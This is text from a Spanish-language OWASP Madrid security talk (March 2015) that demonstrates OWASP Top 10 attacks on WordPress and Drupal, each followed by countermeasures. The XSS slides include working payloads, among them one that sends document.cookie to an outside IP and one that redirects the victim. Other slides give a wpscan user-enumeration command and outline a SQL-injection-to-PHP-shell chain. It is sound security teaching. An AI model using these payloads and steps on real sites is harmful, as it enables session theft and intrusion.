5. Quienes Somos?
Angel Garcia (@_Ell0_)
- Auditor de Seguridad
¿hacker?
- Miembro de un TigerTeam
- blog.sec-root.com
- Padre (con eso lo digo
todo)
Dani Martínez (@dan1t0)
- Auditor de Seguridad ¿hacker?
- Miembro de un TigerTeam
- CamisetasFrikis.es
- Juego al Rugby
- Me gusta aportar
- Blog abandonado
5OWASP Madrid Chapter - Marzo 2015
6. Índice
La charla tendrá un enfoque práctico tipo:
Problema --> Ataque
- A9 Uso de software (componentes) vulnerables
- A8 Cross-Site Request Forgery (CSRF)
- A3 Cross-Site-Scripting (XSS)
- A2 Ataque a la autenticación y Manejo de Sesión
- A1 Inyección SQL
6OWASP Madrid Chapter - Marzo 2015
7. 7OWASP Madrid Chapter - Marzo 2015
Enfoque
Se analizarán distintas vulnerabilidades
encuadradas en el TOP 10 de OWASP
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
! A1 Injection
! A2 Broken Authentication and Session Management
! A3 Cross-Site Scripting (XSS)
! A4 Insecure Direct Object References
! A5 Security Misconfiguration
! A6 Sensitive Data Exposure
! A7 Missing Function Level Access Control
! A8 Cross-Site Request Forgery (CSRF)
! A9 Using Components with Known Vulnerabilities
! A10 Unvalidated Redirects and Forwards
8. 8OWASP Madrid Chapter - Marzo 2015
A9 – Using Components with Known
Vulnerabilities
! Uno de los principales vectores de intrusión es el
empleo de ataques o exploits públicos contra
vulnerabilidades conocidas (y algunas de ellas MUY
CONOCIDAS)
! Los sistemas y aplicaciones desfasados son claras
víctimas tanto de ataques dirigidos como de ataques
masivos.
! Google, Shodan y otros motores de búsqueda son tus
amigos };-)
9. 9OWASP Madrid Chapter - Marzo 2015
A9 – Using Components with Known
Vulnerabilities
Worpress tiene alguna vulnerabilidad ¿no?
10. 10OWASP Madrid Chapter - Marzo 2015
A9 – Using Components with Known
Vulnerabilities
Entonces todo el mundo tendrá su Wordpress
actualizado… ¿o no?
11. 11OWASP Madrid Chapter - Marzo 2015
A9 – Using Components with Known
Vulnerabilities
Más trucos sexys: http://www.exploit-db.com/google-dorks/
12. 12OWASP Madrid Chapter - Marzo 2015
A8 – Cross-Site Request Forgery (CSRF)
“El CSRF (del inglés Cross-site request forgery o falsificación
de petición en sitios cruzados) es un tipo de exploit malicioso
de un sitio web en el que comandos no autorizados son
transmitidos por un usuario en el cual el sitio web
confía. Esta vulnerabilidad es conocida también por otros
nombres como XSRF, enlace hostil, ataque de un click,
cabalgamiento de sesión, y ataque automático.
Un ataque CSRF fuerza al navegador web validado de una
víctima a enviar una petición a una aplicación web
vulnerable, la cual entonces realiza la acción elegida a través
de la víctima. Al contrario que en los ataques XSS, los cuales
explotan la confianza que un usuario tiene en un sitio en
particular, el cross site request forgery explota la confianza
que un sitio tiene en un usuario en particular.”
18. 18OWASP Madrid Chapter - Marzo 2015
A8 – Cross-Site Request Forgery (CSRF)
La contramedida general es mediante el uso de tokens de
sesión aleatorios, que sean enviados en la petición HTTP.
En el caso de Wordpress:
19. 19OWASP Madrid Chapter - Marzo 2015
A3 – Cross-Site Scripting(XSS)
“XSS, del inglés Cross-site scripting es un tipo de
inseguridad informática o agujero de seguridad típico de las
aplicaciones Web, que permite a una tercera parte inyectar
en páginas web visitadas por el usuario código
JavaScript o en otro lenguaje script similar (ej:
VBScript), evitando medidas de control como la Política del
mismo origen. (…)
XSS es un vector de ataque que puede ser utilizado para
robar información delicada, secuestrar sesiones de
usuario, y comprometer el navegador, subyugando la
integridad del sistema. (…)”
24. 24OWASP Madrid Chapter - Marzo 2015
A3 – Cross-Site Scripting(XSS)
Podemos esforzarnos más y hacer algo más divertido:
! Redirigir a un sitio malicioso
! Preparar un phishing
! Inyectar un iFrame con malware
! Robar una sesión autenticada
! Ejecutar JavaScript en la maquina victima
" Minamos unos BitCoins???
" Realizamos un DoS a una web???
" Explotar un CSRF!!!
25. 25OWASP Madrid Chapter - Marzo 2015
A3 – Cross-Site Scripting(XSS)
! XSS
[<blockquote cite="]">["
onmouseover="this.style.display='none';alert('exploit javascript
running');" style="position:fixed;left:0px;top:0px;width:
100%;height:100%;z-index:10000;display:block" ]
! Go to a webside!
[<blockquote cite="]">["
onmouseover="this.style.display='none';window.location='http://
172.16.155.145/hacker/index.html';" style="position:fixed;left:
0px;top:0px;width:100%;height:100%;z-index:10000;display:block" ]
! Steal Cookie
[<blockquote cite="]">["
onmouseover="this.style.display='none';xmlhttp=new
XMLHttpRequest();xmlhttp.open('GET','http://
172.16.155.145/'+document.cookie,true);xmlhttp.send();"
style="position:fixed;left:0px;top:0px;width:100%;height:100%;z-
index:10000;display:block" ]
27. 27OWASP Madrid Chapter - Marzo 2015
A3 – Cross-Site Scripting(XSS)
Contramedidas:
" Filtrar caracteres potencialmente peligrosos como “<” “>” “;”
“/” “”
" Establecer medidas de filtrado:
§ Lado cliente (ej javascript).
§ Lado servidor (ej ignorando la petición o devolviendo error).
" Codificar la salida de datos.
28. 28OWASP Madrid Chapter - Marzo 2015
A2 – Broken Authentication and Session
Management
“Las funciones de la aplicación relacionadas a autenticación y
gestión de sesiones son frecuentemente implementadas
incorrectamente, permitiendo a los atacantes comprometer
contraseñas, claves, token de sesiones, o explotar otras fallas
de implementación para asumir la identidad de otros
usuarios.”
30. 30OWASP Madrid Chapter - Marzo 2015
A2 – Broken Authentication and Session
Management
Para explotar la vulnerabilidad lo primero que haremos
será listar los usuarios existentes en el wordpress
vulnerable:
wpscan --url 172.16.155.145/wordpress --enumerate u
31. 31OWASP Madrid Chapter - Marzo 2015
A2 – Broken Authentication and Session
Management
! Según el advisory:
" Se necesita crear una contraseña muy larga.
" Conocer un usuario legitimo.
" Mandar repetidas peticiones.
32. A2 – Broken Authentication and Session
Management
! Antes
! Después
32OWASP Madrid Chapter - Marzo 2015
34. 34OWASP Madrid Chapter - Marzo 2015
A2 – Broken Authentication and Session
Management
El control de este tipo de vulnerabilidades normalmente abarca
diversos puntos de control que pueden implicar varios puntos de la
infraestructura. Aunque las contramedidas deberían adecuarse a cada
caso, algunos ejemplos de éstas serían los siguientes:
ü Envío de credenciales o datos de autenticación siempre por canales
cifrados
ü Creación de políticas de complejidad y cambio de contraseñas
ü Control de intentos de autenticación, bloqueo y desbloqueo de
usuarios
ü Varios factores de autenticación, especialmente para tareas críticas
ü Medidas efectivas para evitar saltos horizontales y verticales de
privilegios
35. 35OWASP Madrid Chapter - Marzo 2015
A1 – Injection (SQL injection)
“Inyección SQL es un método de infiltración de código
intruso que se vale de una vulnerabilidad informática
presente en una aplicación en el nivel de validación de las
entradas para realizar operaciones sobre una base de
datos.
El origen de la vulnerabilidad radica en el incorrecto
chequeo y/o filtrado de las variables utilizadas en un
programa que contiene, o bien genera, código SQL. Es, de
hecho, un error de una clase más general de vulnerabilidades
que puede ocurrir en cualquier lenguaje de programación o
script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de
vulnerabilidad, al método de infiltración, al hecho de incrustar
código SQL intruso y a la porción de código incrustado.”
37. 37OWASP Madrid Chapter - Marzo 2015
A1 – Injection (SQL injection)
Podemos hacer la prueba a mano con burp
38. 38OWASP Madrid Chapter - Marzo 2015
A1 – Injection (SQL injection)
Explotemos un Blind SQL Injection a mano!!
39. 39OWASP Madrid Chapter - Marzo 2015
A1 – Injection (SQL injection)
Explotemos un Blind SQL Injection a mano!!
40. 40OWASP Madrid Chapter - Marzo 2015
A1 – Injection (SQL injection)
! Usaremos de nuevo por comodidad metasploit
! Las fases de la explotación serán las siguientes:
" Aprovechando el SQLi se crea un usuario en Drupal
" El usuario crea un “artículo” con un payload en php.
" Ejecutamos stage que nos apetezca:
43. 43OWASP Madrid Chapter - Marzo 2015
A1 – Injection (SQL injection)
! El exploit “in the wild”
" Se crea un usuario en la BBDD
" Se instala una theme con una shell en php
" Se ejecuta de forma masiva
" Proffit
§ Botnets
§ Robo de datos
§ Hacking masivo…
http://www.securitysift.com/drupal-7-sqli/
45. 45OWASP Madrid Chapter - Marzo 2015
A1 – Injection (SQL injection)
La contramedida general es mediante el uso de prepared
statements o sentencias parametrizadas … correctamente
empleadas.
En el caso de Drupal:
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
foreach (array_values($data) as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
…
46. 46OWASP Madrid Chapter - Marzo 2015
Gracias
Preguntas?
Para más información:
https://www.owasp.org/index.php/Madrid